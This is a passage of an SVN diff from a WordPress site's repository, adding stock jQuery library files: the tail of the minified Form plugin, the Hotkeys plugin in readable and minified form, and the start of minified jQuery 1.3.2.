data,doc;doc=io.contentWindow?io.contentWindow.document:io.contentDocument?io.contentDocument:io.document;xhr.responseText=doc.body?doc.body.innerHTML:null;xhr.responseXML=doc.XMLDocument?doc.XMLDocument:doc;if(opts.dataType=="json"||opts.dataType=="script"){var ta=doc.getElementsByTagName("textarea")[0];data=ta?ta.value:xhr.responseText;if(opts.dataType=="json"){eval("data = "+data)}else{$.globalEval(data)}}else{if(opts.dataType=="xml"){data=xhr.responseXML;if(!data&&xhr.responseText!=null){data=toXml(xhr.responseText)}}else{data=xhr.responseText}}}catch(e){ok=false;$.handleError(opts,xhr,"error",e)}if(ok){opts.success(data,"success");if(g){$.event.trigger("ajaxSuccess",[xhr,opts])}}if(g){$.event.trigger("ajaxComplete",[xhr,opts])}if(g&&!--$.active){$.event.trigger("ajaxStop")}if(opts.complete){opts.complete(xhr,ok?"success":"error")}setTimeout(function(){$io.remove();xhr.responseXML=null},100)}function toXml(s,doc){if(window.ActiveXObject){doc=new ActiveXObject("Microsoft.XMLDOM");doc.async="false";doc.loadXML(s)}else{doc=(new DOMParser()).parseFromString(s,"text/xml")}return(doc&&doc.documentElement&&doc.documentElement.tagName!="parsererror")?doc:null}}};$.fn.ajaxSubmit.counter=0;$.fn.ajaxForm=function(options){return this.ajaxFormUnbind().submit(submitHandler).each(function(){this.formPluginId=$.fn.ajaxForm.counter++;$.fn.ajaxForm.optionHash[this.formPluginId]=options;$(":submit,input:image",this).click(clickHandler)})};$.fn.ajaxForm.counter=1;$.fn.ajaxForm.optionHash={};function clickHandler(e){var $form=this.form;$form.clk=this;if(this.type=="image"){if(e.offsetX!=undefined){$form.clk_x=e.offsetX;$form.clk_y=e.offsetY}else{if(typeof $.fn.offset=="function"){var offset=$(this).offset();$form.clk_x=e.pageX-offset.left;$form.clk_y=e.pageY-offset.top}else{$form.clk_x=e.pageX-this.offsetLeft;$form.clk_y=e.pageY-this.offsetTop}}}setTimeout(function(){$form.clk=$form.clk_x=$form.clk_y=null},10)}function submitHandler(){var id=this.formPluginId;var options=$.fn.ajaxForm.optionHash[id];$(this).ajaxSubmit(options);return false}$.fn.ajaxFormUnbind=function(){this.unbind("submit",submitHandler);return this.each(function(){$(":submit,input:image",this).unbind("click",clickHandler)})};$.fn.formToArray=function(semantic){var a=[];if(this.length==0){return a}var form=this[0];var els=semantic?form.getElementsByTagName("*"):form.elements;if(!els){return a}for(var i=0,max=els.length;i<max;i++){var el=els[i];var n=el.name;if(!n){continue}if(semantic&&form.clk&&el.type=="image"){if(!el.disabled&&form.clk==el){a.push({name:n+".x",value:form.clk_x},{name:n+".y",value:form.clk_y})}continue}var v=$.fieldValue(el,true);if(v&&v.constructor==Array){for(var j=0,jmax=v.length;j<jmax;j++){a.push({name:n,value:v[j]})}}else{if(v!==null&&typeof v!="undefined"){a.push({name:n,value:v})}}}if(!semantic&&form.clk){var inputs=form.getElementsByTagName("input");for(var i=0,max=inputs.length;i<max;i++){var input=inputs[i];var n=input.name;if(n&&!input.disabled&&input.type=="image"&&form.clk==input){a.push({name:n+".x",value:form.clk_x},{name:n+".y",value:form.clk_y})}}}return a};$.fn.formSerialize=function(semantic){return $.param(this.formToArray(semantic))};$.fn.fieldSerialize=function(successful){var a=[];this.each(function(){var n=this.name;if(!n){return}var v=$.fieldValue(this,successful);if(v&&v.constructor==Array){for(var i=0,max=v.length;i<max;i++){a.push({name:n,value:v[i]})}}else{if(v!==null&&typeof v!="undefined"){a.push({name:this.name,value:v})}}});return $.param(a)};$.fn.fieldValue=function(successful){for(var val=[],i=0,max=this.length;i<max;i++){var el=this[i];var v=$.fieldValue(el,successful);if(v===null||typeof v=="undefined"||(v.constructor==Array&&!v.length)){continue}v.constructor==Array?$.merge(val,v):val.push(v)}return val};$.fieldValue=function(el,successful){var n=el.name,t=el.type,tag=el.tagName.toLowerCase();if(typeof successful=="undefined"){successful=true}if(successful&&(!n||el.disabled||t=="reset"||t=="button"||(t=="checkbox"||t=="radio")&&!el.checked||(t=="submit"||t=="image")&&el.form&&el.form.clk!=el||tag=="select"&&el.selectedIndex==-1)){return null}if(tag=="select"){var index=el.selectedIndex;if(index<0){return null}var a=[],ops=el.options;var one=(t=="select-one");var max=(one?index+1:ops.length);for(var i=(one?index:0);i<max;i++){var op=ops[i];if(op.selected){var v=$.browser.msie&&!(op.attributes.value.specified)?op.text:op.value;if(one){return v}a.push(v)}}return a}return el.value};$.fn.clearForm=function(){return this.each(function(){$("input,select,textarea",this).clearFields()})};$.fn.clearFields=$.fn.clearInputs=function(){return this.each(function(){var t=this.type,tag=this.tagName.toLowerCase();if(t=="text"||t=="password"||tag=="textarea"){this.value=""}else{if(t=="checkbox"||t=="radio"){this.checked=false}else{if(tag=="select"){this.selectedIndex=-1}}}})};$.fn.resetForm=function(){return this.each(function(){if(typeof this.reset=="function"||(typeof this.reset=="object"&&!this.reset.nodeType)){this.reset()}})};$.fn.enable=function(b){if(b==undefined){b=true}return this.each(function(){this.disabled=!b})};$.fn.select=function(select){if(select==undefined){select=true}return this.each(function(){var t=this.type;if(t=="checkbox"||t=="radio"){this.checked=select}else{if(this.tagName.toLowerCase()=="option"){var $sel=$(this).parent("select");if(select&&$sel[0]&&$sel[0].type=="select-one"){$sel.find("option").select(false)}this.selected=select}}})}})(jQuery);
Index: /trunk/www.guidonia.net/wp/wp-includes/js/jquery/jquery.hotkeys.dev.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/jquery/jquery.hotkeys.dev.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/jquery/jquery.hotkeys.dev.js	(revision 44)
@@ -0,0 +1,128 @@
+/******************************************************************************************************************************
+
+ * @ Original idea by by Binny V A, Original version: 2.00.A 
+ * @ http://www.openjs.com/scripts/events/keyboard_shortcuts/
+ * @ Original License : BSD
+ 
+ * @ jQuery Plugin by Tzury Bar Yochay 
+        mail: tzury.by@gmail.com
+        blog: evalinux.wordpress.com
+        face: facebook.com/profile.php?id=513676303
+        
+        (c) Copyrights 2007
+        
+ * @ jQuery Plugin version Beta (0.0.2)
+ * @ License: jQuery-License.
+ 
+TODO:
+    add queue support (as in gmail) e.g. 'x' then 'y', etc.
+    add mouse + mouse wheel events.
+
+USAGE:
+    $.hotkeys.add('Ctrl+c', function(){ alert('copy anyone?');});
+    $.hotkeys.add('Ctrl+c', {target:'div#editor', type:'keyup', propagate: true},function(){ alert('copy anyone?');});>
+    $.hotkeys.remove('Ctrl+c'); 
+    $.hotkeys.remove('Ctrl+c', {target:'div#editor', type:'keypress'}); 
+    
+******************************************************************************************************************************/
+(function (jQuery){
+    this.version = '(beta)(0.0.3)';
+	this.all = {};
+    this.special_keys = {
+        27: 'esc', 9: 'tab', 32:'space', 13: 'return', 8:'backspace', 145: 'scroll', 20: 'capslock', 
+        144: 'numlock', 19:'pause', 45:'insert', 36:'home', 46:'del',35:'end', 33: 'pageup', 
+        34:'pagedown', 37:'left', 38:'up', 39:'right',40:'down', 112:'f1',113:'f2', 114:'f3', 
+        115:'f4', 116:'f5', 117:'f6', 118:'f7', 119:'f8', 120:'f9', 121:'f10', 122:'f11', 123:'f12'};
+        
+    this.shift_nums = { "`":"~", "1":"!", "2":"@", "3":"#", "4":"$", "5":"%", "6":"^", "7":"&", 
+        "8":"*", "9":"(", "0":")", "-":"_", "=":"+", ";":":", "'":"\"", ",":"<", 
+        ".":">",  "/":"?",  "\\":"|" };
+        
+    this.add = function(combi, options, callback) {
+        if (jQuery.isFunction(options)){
+            callback = options;
+            options = {};
+        }
+        var opt = {},
+            defaults = {type: 'keydown', propagate: false, disableInInput: false, target: jQuery('html')[0]},
+            that = this;
+        opt = jQuery.extend( opt , defaults, options || {} );
+        combi = combi.toLowerCase();        
+        
+        // inspect if keystroke matches
+        var inspector = function(event) {
+            event = jQuery.event.fix(event); // jQuery event normalization.
+            var element = event.target;
+            // @ TextNode -> nodeType == 3
+            element = (element.nodeType==3) ? element.parentNode : element;
+            
+            if(opt['disableInInput']) { // Disable shortcut keys in Input, Textarea fields
+                var target = jQuery(element);
+                if( target.is("input") || target.is("textarea")){
+                    return;
+                }
+            }
+            var code = event.which,
+                type = event.type,
+                character = String.fromCharCode(code).toLowerCase(),
+                special = that.special_keys[code],
+                shift = event.shiftKey,
+                ctrl = event.ctrlKey,
+                alt= event.altKey,
+                meta = event.metaKey,
+                propagate = true, // default behaivour
+                mapPoint = null;
+            
+            // in opera + safari, the event.target is unpredictable.
+            // for example: 'keydown' might be associated with HtmlBodyElement 
+            // or the element where you last clicked with your mouse.
+            if (jQuery.browser.opera || jQuery.browser.safari){
+                while (!that.all[element] && element.parentNode){
+                    element = element.parentNode;
+                }
+            }
+            var cbMap = that.all[element].events[type].callbackMap;
+            if(!shift && !ctrl && !alt && !meta) { // No Modifiers
+                mapPoint = cbMap[special] ||  cbMap[character]
+			}
+            // deals with combinaitons (alt|ctrl|shift+anything)
+            else{
+                var modif = '';
+                if(alt) modif +='alt+';
+                if(ctrl) modif+= 'ctrl+';
+                if(shift) modif += 'shift+';
+                if(meta) modif += 'meta+';
+                // modifiers + special keys or modifiers + characters or modifiers + shift characters
+                mapPoint = cbMap[modif+special] || cbMap[modif+character] || cbMap[modif+that.shift_nums[character]]
+            }
+            if (mapPoint){
+                mapPoint.cb(event);
+                if(!mapPoint.propagate) {
+                    event.stopPropagation();
+                    event.preventDefault();
+                    return false;
+                }
+            }
+		};        
+        // first hook for this element
+        if (!this.all[opt.target]){
+            this.all[opt.target] = {events:{}};
+        }
+        if (!this.all[opt.target].events[opt.type]){
+            this.all[opt.target].events[opt.type] = {callbackMap: {}}
+            jQuery.event.add(opt.target, opt.type, inspector);
+        }        
+        this.all[opt.target].events[opt.type].callbackMap[combi] =  {cb: callback, propagate:opt.propagate};                
+        return jQuery;
+	};    
+    this.remove = function(exp, opt) {
+        opt = opt || {};
+        target = opt.target || jQuery('html')[0];
+        type = opt.type || 'keydown';
+		exp = exp.toLowerCase();        
+        delete this.all[target].events[type].callbackMap[exp]        
+        return jQuery;
+	};
+    jQuery.hotkeys = this;
+    return jQuery;    
+})(jQuery);
Index: /trunk/www.guidonia.net/wp/wp-includes/js/jquery/jquery.hotkeys.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/jquery/jquery.hotkeys.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/jquery/jquery.hotkeys.js	(revision 44)
@@ -0,0 +1,1 @@
+(function(a){this.version="(beta)(0.0.3)";this.all={};this.special_keys={27:"esc",9:"tab",32:"space",13:"return",8:"backspace",145:"scroll",20:"capslock",144:"numlock",19:"pause",45:"insert",36:"home",46:"del",35:"end",33:"pageup",34:"pagedown",37:"left",38:"up",39:"right",40:"down",112:"f1",113:"f2",114:"f3",115:"f4",116:"f5",117:"f6",118:"f7",119:"f8",120:"f9",121:"f10",122:"f11",123:"f12"};this.shift_nums={"`":"~","1":"!","2":"@","3":"#","4":"$","5":"%","6":"^","7":"&","8":"*","9":"(","0":")","-":"_","=":"+",";":":","'":'"',",":"<",".":">","/":"?","\\":"|"};this.add=function(c,b,h){if(a.isFunction(b)){h=b;b={}}var d={},f={type:"keydown",propagate:false,disableInInput:false,target:a("html")[0]},e=this;d=a.extend(d,f,b||{});c=c.toLowerCase();var g=function(j){j=a.event.fix(j);var o=j.target;o=(o.nodeType==3)?o.parentNode:o;if(d.disableInInput){var s=a(o);if(s.is("input")||s.is("textarea")){return}}var l=j.which,u=j.type,r=String.fromCharCode(l).toLowerCase(),t=e.special_keys[l],m=j.shiftKey,i=j.ctrlKey,p=j.altKey,w=j.metaKey,q=true,k=null;if(a.browser.opera||a.browser.safari){while(!e.all[o]&&o.parentNode){o=o.parentNode}}var v=e.all[o].events[u].callbackMap;if(!m&&!i&&!p&&!w){k=v[t]||v[r]}else{var n="";if(p){n+="alt+"}if(i){n+="ctrl+"}if(m){n+="shift+"}if(w){n+="meta+"}k=v[n+t]||v[n+r]||v[n+e.shift_nums[r]]}if(k){k.cb(j);if(!k.propagate){j.stopPropagation();j.preventDefault();return false}}};if(!this.all[d.target]){this.all[d.target]={events:{}}}if(!this.all[d.target].events[d.type]){this.all[d.target].events[d.type]={callbackMap:{}};a.event.add(d.target,d.type,g)}this.all[d.target].events[d.type].callbackMap[c]={cb:h,propagate:d.propagate};return a};this.remove=function(c,b){b=b||{};target=b.target||a("html")[0];type=b.type||"keydown";c=c.toLowerCase();delete this.all[target].events[type].callbackMap[c];return a};a.hotkeys=this;return a})(jQuery);
Index: /trunk/www.guidonia.net/wp/wp-includes/js/jquery/jquery.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/jquery/jquery.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/jquery/jquery.js	(revision 44)
@@ -0,0 +1,20 @@
+/*
+ * jQuery JavaScript Library v1.3.2
+ * http://jquery.com/
+ *
+ * Copyright (c) 2009 John Resig
+ * Dual licensed under the MIT and GPL licenses.
+ * http://docs.jquery.com/License
+ *
+ * Date: 2009-02-19 17:34:21 -0500 (Thu, 19 Feb 2009)
+ * Revision: 6246
+ */
+(function(){var l=this,g,y=l.jQuery,p=l.$,o=l.jQuery=l.$=function(E,F){return new o.fn.init(E,F)},D=/^[^<]*(<(.|\s)+>)[^>]*$|^#([\w-]+)$/,f=/^.[^:#\[\.,]*$/;o.fn=o.prototype={init:function(E,H){E=E||document;if(E.nodeType){this[0]=E;this.length=1;this.context=E;return this}if(typeof E==="string"){var G=D.exec(E);if(G&&(G[1]||!H)){if(G[1]){E=o.clean([G[1]],H)}else{var I=document.getElementById(G[3]);if(I&&I.id!=G[3]){return o().find(E)}var F=o(I||[]);F.context=document;F.selector=E;return F}}else{return o(H).find(E)}}else{if(o.isFunction(E)){return o(document).ready(E)}}if(E.selector&&E.context){this.selector=E.selector;this.context=E.context}return this.setArray(o.isArray(E)?E:o.makeArray(E))},selector:"",jquery:"1.3.2",size:function(){return this.length},get:function(E){return E===g?Array.prototype.slice.call(this):this[E]},pushStack:function(F,H,E){var G=o(F);G.prevObject=this;G.context=this.context;if(H==="find"){G.selector=this.selector+(this.selector?" ":"")+E}else{if(H){G.selector=this.selector+"."+H+"("+E+")"}}return G},setArray:function(E){this.length=0;Array.prototype.push.apply(this,E);return this},each:function(F,E){return o.each(this,F,E)},index:function(E){return o.inArray(E&&E.jquery?E[0]:E,this)},attr:function(F,H,G){var E=F;if(typeof F==="string"){if(H===g){return this[0]&&o[G||"attr"](this[0],F)}else{E={};E[F]=H}}return this.each(function(I){for(F in E){o.attr(G?this.style:this,F,o.prop(this,E[F],G,I,F))}})},css:function(E,F){if((E=="width"||E=="height")&&parseFloat(F)<0){F=g}return this.attr(E,F,"curCSS")},text:function(F){if(typeof F!=="object"&&F!=null){return this.empty().append((this[0]&&this[0].ownerDocument||document).createTextNode(F))}var E="";o.each(F||this,function(){o.each(this.childNodes,function(){if(this.nodeType!=8){E+=this.nodeType!=1?this.nodeValue:o.fn.text([this])}})});return E},wrapAll:function(E){if(this[0]){var F=o(E,this[0].ownerDocument).clone();if(this[0].parentNode){F.insertBefore(this[0])}F.map(function(){var G=this;while(G.firstChild){G=G.firstChild}return G}).append(this)}return this},wrapInner:function(E){return this.each(function(){o(this).contents().wrapAll(E)})},wrap:function(E){return this.each(function(){o(this).wrapAll(E)})},append:function(){return this.domManip(arguments,true,function(E){if(this.nodeType==1){this.appendChild(E)}})},prepend:function(){return this.domManip(arguments,true,function(E){if(this.nodeType==1){this.insertBefore(E,this.firstChild)}})},before:function(){return this.domManip(arguments,false,function(E){this.parentNode.insertBefore(E,this)})},after:function(){return this.domManip(arguments,false,function(E){this.parentNode.insertBefore(E,this.nextSibling)})},end:function(){return this.prevObject||o([])},push:[].push,sort:[].sort,splice:[].splice,find:function(E){if(this.length===1){var F=this.pushStack([],"find",E);F.length=0;o.find(E,this[0],F);return F}else{return this.pushStack(o.unique(o.map(this,function(G){return o.find(E,G)})),"find",E)}},clone:function(G){var E=this.map(function(){if(!o.support.noCloneEvent&&!o.isXMLDoc(this)){var I=this.outerHTML;if(!I){var J=this.ownerDocument.createElement("div");J.appendChild(this.cloneNode(true));I=J.innerHTML}return o.clean([I.replace(/ jQuery\d+="(?:\d+|null)"/g,"").replace(/^\s*/,"")])[0]}else{return this.cloneNode(true)}});if(G===true){var H=this.find("*").andSelf(),F=0;E.find("*").andSelf().each(function(){if(this.nodeName!==H[F].nodeName){return}var I=o.data(H[F],"events");for(var K in I){for(var J in I[K]){o.event.add(this,K,I[K][J],I[K][J].data)}}F++})}return E},filter:function(E){return this.pushStack(o.isFunction(E)&&o.grep(this,function(G,F){return E.call(G,F)})||o.multiFilter(E,o.grep(this,function(F){return F.nodeType===1})),"filter",E)},closest:function(E){var G=o.expr.match.POS.test(E)?o(E):null,F=0;return this.map(function(){var H=this;while(H&&H.ownerDocument){if(G?G.index(H)>-1:o(H).is(E)){o.data(H,"closest",F);return H}H=H.parentNode;F++}})},not:function(E){if(typeof E==="string"){if(f.test(E)){return this.pushStack(o.multiFilter(E,this,true),"not",E)}else{E=o.multiFilter(E,this)}}var F=E.length&&E[E.length-1]!==g&&!E.nodeType;return this.filter(function(){return F?o.inArray(this,E)<0:this!=E})},add:function(E){return this.pushStack(o.unique(o.merge(this.get(),typeof E==="string"?o(E):o.makeArray(E))))},is:function(E){return !!E&&o.multiFilter(E,this).length>0},hasClass:function(E){return !!E&&this.is("."+E)},val:function(K){if(K===g){var E=this[0];if(E){if(o.nodeName(E,"option")){return(E.attributes.value||{}).specified?E.value:E.text}if(o.nodeName(E,"select")){var I=E.selectedIndex,L=[],M=E.options,H=E.type=="select-one";if(I<0){return null}for(var F=H?I:0,J=H?I+1:M.length;F<J;F++){var G=M[F];if(G.selected){K=o(G).val();if(H){return K}L.push(K)}}return L}return(E.value||"").replace(/\r/g,"")}return g}if(typeof K==="number"){K+=""}return this.each(function(){if(this.nodeType!=1){return}if(o.isArray(K)&&/radio|checkbox/.test(this.type)){this.checked=(o.inArray(this.value,K)>=0||o.inArray(this.name,K)>=0)}else{if(o.nodeName(this,"select")){var N=o.makeArray(K);o("option",this).each(function(){this.selected=(o.inArray(this.value,N)>=0||o.inArray(this.text,N)>=0)});if(!N.length){this.selectedIndex=-1}}else{this.value=K}}})},html:function(E){return E===g?(this[0]?this[0].innerHTML.replace(/ jQuery\d+="(?:\d+|null)"/g,""):null):this.empty().append(E)},replaceWith:function(E){return this.after(E).remove()},eq:function(E){return this.slice(E,+E+1)},slice:function(){return this.pushStack(Array.prototype.slice.apply(this,arguments),"slice",Array.prototype.slice.call(arguments).join(","))},map:function(E){return this.pushStack(o.map(this,function(G,F){return E.call(G,F,G)}))},andSelf:function(){return this.add(this.prevObject)},domManip:function(J,M,L){if(this[0]){var I=(this[0].ownerDocument||this[0]).createDocumentFragment(),F=o.clean(J,(this[0].ownerDocument||this[0]),I),H=I.firstChild;if(H){for(var G=0,E=this.length;G<E;G++){L.call(K(this[G],H),this.length>1||G>0?I.cloneNode(true):I)}}if(F){o.each(F,z)}}return this;function K(N,O){return M&&o.nodeName(N,"table")&&o.nodeName(O,"tr")?(N.getElementsByTagName("tbody")[0]||N.appendChild(N.ownerDocument.createElement("tbody"))):N}}};o.fn.init.prototype=o.fn;function z(E,F){if(F.src){o.ajax({url:F.src,async:false,dataType:"script"})}else{o.globalEval(F.text||F.textContent||F.innerHTML||"")}if(F.parentNode){F.parentNode.removeChild(F)}}function e(){return +new Date}o.extend=o.fn.extend=function(){var J=arguments[0]||{},H=1,I=arguments.length,E=false,G;if(typeof J==="boolean"){E=J;J=arguments[1]||{};H=2}if(typeof J!=="object"&&!o.isFunction(J)){J={}}if(I==H){J=this;--H}for(;H<I;H++){if((G=arguments[H])!=null){for(var F in G){var K=J[F],L=G[F];if(J===L){continue}if(E&&L&&typeof L==="object"&&!L.nodeType){J[F]=o.extend(E,K||(L.length!=null?[]:{}),L)}else{if(L!==g){J[F]=L}}}}}return J};var b=/z-?index|font-?weight|opacity|zoom|line-?height/i,q=document.defaultView||{},s=Object.prototype.toString;o.extend({noConflict:function(E){l.$=p;if(E){l.jQuery=y}return o},isFunction:function(E){return s.call(E)==="[object Function]"},isArray:function(E){return s.call(E)==="[object Array]"},isXMLDoc:function(E){return E.nodeType===9&&E.documentElement.nodeName!=="HTML"||!!E.ownerDocument&&o.isXMLDoc(E.ownerDocument)},globalEval:function(G){if(G&&/\S/.test(G)){var F=document.getElementsByTagName("head")[0]||document.documentElement,E=document.createElement("script");E.type="text/javascript";if(o.support.scriptEval){E.appendChild(document.createTextNode(G))}else{E.text=G}F.insertBefore(E,F.firstChild);F.removeChild(E)}},nodeName:function(F,E){return F.nodeName&&F.nodeName.toUpperCase()==E.toUpperCase()},each:function(G,K,F){var E,H=0,I=G.length;if(F){if(I===g){for(E in G){if(K.apply(G[E],F)===false){break}}}else{for(;H<I;){if(K.apply(G[H++],F)===false){break}}}}else{if(I===g){for(E in G){if(K.call(G[E],E,G[E])===false){break}}}else{for(var J=G[0];H<I&&K.call(J,H,J)!==false;J=G[++H]){}}}return G},prop:function(H,I,G,F,E){if(o.isFunction(I)){I=I.call(H,F)}return typeof I==="number"&&G=="curCSS"&&!b.test(E)?I+"px":I},className:{add:function(E,F){o.each((F||"").split(/\s+/),function(G,H){if(E.nodeType==1&&!o.className.has(E.className,H)){E.className+=(E.className?" ":"")+H}})},remove:function(E,F){if(E.nodeType==1){E.className=F!==g?o.grep(E.className.split(/\s+/),function(G){return !o.className.has(F,G)}).join(" "):""}},has:function(F,E){return F&&o.inArray(E,(F.className||F).toString().split(/\s+/))>-1}},swap:function(H,G,I){var E={};for(var F in G){E[F]=H.style[F];H.style[F]=G[F]}I.call(H);for(var F in G){H.style[F]=E[F]}},css:function(H,F,J,E){if(F=="width"||F=="height"){var L,G={position:"absolute",visibility:"hidden",display:"block"},K=F=="width"?["Left","Right"]:["Top","Bottom"];function I(){L=F=="width"?H.offsetWidth:H.offsetHeight;if(E==="border"){return}o.each(K,function(){if(!E){L-=parseFloat(o.curCSS(H,"padding"+this,true))||0}if(E==="margin"){L+=parseFloat(o.curCSS(H,"margin"+this,true))||0}else{L-=parseFloat(o.curCSS(H,"border"+this+"Width",true))||0}})}if(H.offsetWidth!==0){I()}else{o.swap(H,G,I)}return Math.max(0,Math.round(L))}return o.curCSS(H,F,J)},curCSS:function(I,F,G){var L,E=I.style;if(F=="opacity"&&!o.support.opacity){L=o.attr(E,"opacity");return L==""?"1":L}if(F.match(/float/i)){F=w}if(!G&&E&&E[F]){L=E[F]}else{if(q.getComputedStyle){if(F.match(/float/i)){F="float"}F=F.replace(/([A-Z])/g,"-$1").toLowerCase();var M=q.getComputedStyle(I,null);if(M){L=M.getPropertyValue(F)}if(F=="opacity"&&L==""){L="1"}}else{if(I.currentStyle){var J=F.replace(/\-(\w)/g,function(N,O){return O.toUpperCase()});L=I.currentStyle[F]||I.currentStyle[J];if(!/^\d+(px)?$/i.test(L)&&/^\d/.test(L)){var H=E.left,K=I.runtimeStyle.left;I.runtimeStyle.left=I.currentStyle.left;E.left=L||0;L=E.pixelLeft+"px";E.left=H;I.runtimeStyle.left=K}}}}return L},clean:function(F,K,I){K=K||document;if(typeof K.createElement==="undefined"){K=K.ownerDocument||K[0]&&K[0].ownerDocument||document}if(!I&&F.length===1&&typeof F[0]==="string"){var H=/^<(\w+)\s*\/?>$/.exec(F[0]);if(H){return[K.createElement(H[1])]}}var G=[],E=[],L=K.createElement("div");o.each(F,function(P,S){if(typeof S==="number"){S+=""}if(!S){return}if(typeof S==="string"){S=S.replace(/(<(\w+)[^>]*?)\/>/g,function(U,V,T){return T.match(/^(abbr|br|col|img|input|link|meta|param|hr|area|embed)$/i)?U:V+"></"+T+">"});var O=S.replace(/^\s+/,"").substring(0,10).toLowerCase();var Q=!O.indexOf("<opt")&&[1,"<select multiple='multiple'>","</select>"]||!O.indexOf("<leg")&&[1,"<fieldset>","</fieldset>"]||O.match(/^<(thead|tbody|tfoot|colg|cap)/)&&[1,"<table>","</table>"]||!O.indexOf("<tr")&&[2,"<table><tbody>","</tbody></table>"]||(!O.indexOf("<td")||!O.indexOf("<th"))&&[3,"<table><tbody><tr>","</tr></tbody></table>"]||!O.indexOf("<col")&&[2,"<table><tbody></tbody><colgroup>","</colgroup></table>"]||!o.support.htmlSerialize&&[1,"div<div>","</div>"]||[0,"",""];L.innerHTML=Q[1]+S+Q[2];while(Q[0]--){L=L.lastChild}if(!o.support.tbody){var R=/<tbody/i.test(S),N=!O.indexOf("<table")&&!R?L.firstChild&&L.firstChild.childNodes:Q[1]=="<table>"&&!R?L.childNodes:[];for(var M=N.length-1;M>=0;--M){if(o.nodeName(N[M],"tbody")&&!N[M].childNodes.length){N[M].parentNode.removeChild(N[M])}}}if(!o.support.leadingWhitespace&&/^\s/.test(S)){L.insertBefore(K.createTextNode(S.match(/^\s*/)[0]),L.firstChild)}S=o.makeArray(L.childNodes)}if(S.nodeType){G.push(S)}else{G=o.merge(G,S)}});if(I){for(var J=0;G[J];J++){if(o.nodeName(G[J],"script")&&(!G[J].type||G[J].type.toLowerCase()==="text/javascript")){E.push(G[J].parentNode?G[J].parentNode.removeChild(G[J]):G[J])}else{if(G[J].nodeType===1){G.splice.apply(G,[J+1,0].concat(o.makeArray(G[J].getElementsByTagName("script"))))}I.appendChild(G[J])}}return E}return G},attr:function(J,G,K){if(!J||J.nodeType==3||J.nodeType==8){return g}var H=!o.isXMLDoc(J),L=K!==g;G=H&&o.props[G]||G;if(J.tagName){var F=/href|src|style/.test(G);if(G=="selected"&&J.parentNode){J.parentNode.selectedIndex}if(G in J&&H&&!F){if(L){if(G=="type"&&o.nodeName(J,"input")&&J.parentNode){throw"type property can't be changed"}J[G]=K}if(o.nodeName(J,"form")&&J.getAttributeNode(G)){return J.getAttributeNode(G).nodeValue}if(G=="tabIndex"){var I=J.getAttributeNode("tabIndex");return I&&I.specified?I.value:J.nodeName.match(/(button|input|object|select|textarea)/i)?0:J.nodeName.match(/^(a|area)$/i)&&J.href?0:g}return J[G]}if(!o.support.style&&H&&G=="style"){return o.attr(J.style,"cssText",K)}if(L){J.setAttribute(G,""+K)}var E=!o.support.hrefNormalized&&H&&F?J.getAttribute(G,2):J.getAttribute(G);return E===null?g:E}if(!o.support.opacity&&G=="opacity"){if(L){J.zoom=1;J.filter=(J.filter||"").replace(/alpha\([^)]*\)/,"")+(parseInt(K)+""=="NaN"?"":"alpha(opacity="+K*100+")")}return J.filter&&J.filter.indexOf("opacity=")>=0?(parseFloat(J.filter.match(/opacity=([^)]*)/)[1])/100)+"":""}G=G.replace(/-([a-z])/ig,function(M,N){return N.toUpperCase()});if(L){J[G]=K}return J[G]},trim:function(E){return(E||"").replace(/^\s+|\s+$/g,"")},makeArray:function(G){var E=[];if(G!=null){var F=G.length;if(F==null||typeof G==="string"||o.isFunction(G)||G.setInterval){E[0]=G}else{while(F){E[--F]=G[F]}}}return E},inArray:function(G,H){for(var E=0,F=H.length;E<F;E++){if(H[E]===G){return E}}return -1},merge:function(H,E){var F=0,G,I=H.length;if(!o.support.getAll){while((G=E[F++])!=null){if(G.nodeType!=8){H[I++]=G}}}else{while((G=E[F++])!=null){H[I++]=G}}return H},unique:function(K){var F=[],E={};try{for(var G=0,H=K.length;G<H;G++){var J=o.data(K[G]);if(!E[J]){E[J]=true;F.push(K[G])}}}catch(I){F=K}return F},grep:function(F,J,E){var G=[];for(var H=0,I=F.length;H<I;H++){if(!E!=!J(F[H],H)){G.push(F[H])}}return G},map:function(E,J){var F=[];for(var G=0,H=E.length;G<H;G++){var I=J(E[G],G);if(I!=null){F[F.length]=I}}return F.concat.apply([],F)}});var C=navigator.userAgent.toLowerCase();o.browser={version:(C.match(/.+(?:rv|it|ra|ie)[\/: ]([\d.]+)/)||[0,"0"])[1],safari:/webkit/.test(C),opera:/opera/.test(C),msie:/msie/.test(C)&&!/opera/.test(C),mozilla:/mozilla/.test(C)&&!/(compatible|webkit)/.test(C)};o.each({parent:function(E){return E.parentNode},parents:function(E){return o.dir(E,"parentNode")},next:function(E){return o.nth(E,2,"nextSibling")},prev:function(E){return o.nth(E,2,"previousSibling")},nextAll:function(E){return o.dir(E,"nextSibling")},prevAll:function(E){return o.dir(E,"previousSibling")},siblings:function(E){return o.sibling(E.parentNode.firstChild,E)},children:function(E){return o.sibling(E.firstChild)},contents:function(E){return o.nodeName(E,"iframe")?E.contentDocument||E.contentWindow.document:o.makeArray(E.childNodes)}},function(E,F){o.fn[E]=function(G){var H=o.map(this,F);if(G&&typeof G=="string"){H=o.multiFilter(G,H)}return this.pushStack(o.unique(H),E,G)}});o.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(E,F){o.fn[E]=function(G){var J=[],L=o(G);for(var K=0,H=L.length;K<H;K++){var I=(K>0?this.clone(true):this).get();o.fn[F].apply(o(L[K]),I);J=J.concat(I)}return this.pushStack(J,E,G)}});o.each({removeAttr:function(E){o.attr(this,E,"");if(this.nodeType==1){this.removeAttribute(E)}},addClass:function(E){o.className.add(this,E)},removeClass:function(E){o.className.remove(this,E)},toggleClass:function(F,E){if(typeof E!=="boolean"){E=!o.className.has(this,F)}o.className[E?"add":"remove"](this,F)},remove:function(E){if(!E||o.filter(E,[this]).length){o("*",this).add([this]).each(function(){o.event.remove(this);o.removeData(this)});if(this.parentNode){this.parentNode.removeChild(this)}}},empty:function(){o(this).children().remove();while(this.firstChild){this.removeChild(this.firstChild)}}},function(E,F){o.fn[E]=function(){return this.each(F,arguments)}});function j(E,F){return E[0]&&parseInt(o.curCSS(E[0],F,true),10)||0}var 